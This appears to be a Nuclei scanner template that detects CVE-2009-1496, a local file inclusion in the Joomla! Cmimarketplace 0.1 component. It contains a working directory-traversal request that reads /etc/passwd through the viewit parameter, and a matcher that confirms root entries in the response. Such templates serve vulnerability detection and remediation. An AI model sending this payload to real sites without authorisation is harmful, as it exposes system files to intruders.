id: CVE-2009-1496

info:
  name: Joomla! Cmimarketplace 0.1 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: |
    Joomla! Cmimarketplace 0.1 is susceptible to local file inclusion because com_cmimarketplace allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Apply the latest patch or upgrade to a newer version of Joomla! Cmimarketplace to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/8367
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1496
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2009-1496
    cwe-id: CWE-22
    epss-score: 0.01909
    epss-percentile: 0.83546
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c1aec6ec04391eda0cf9fae3d917cf638e0169f28e796ed754519bbab8219592022063478b3366f1361f9c6edb35a9a95b0bfc1000cbc9797a950eced35cd368b79a:922c64590222798bb761d5b6d8e72950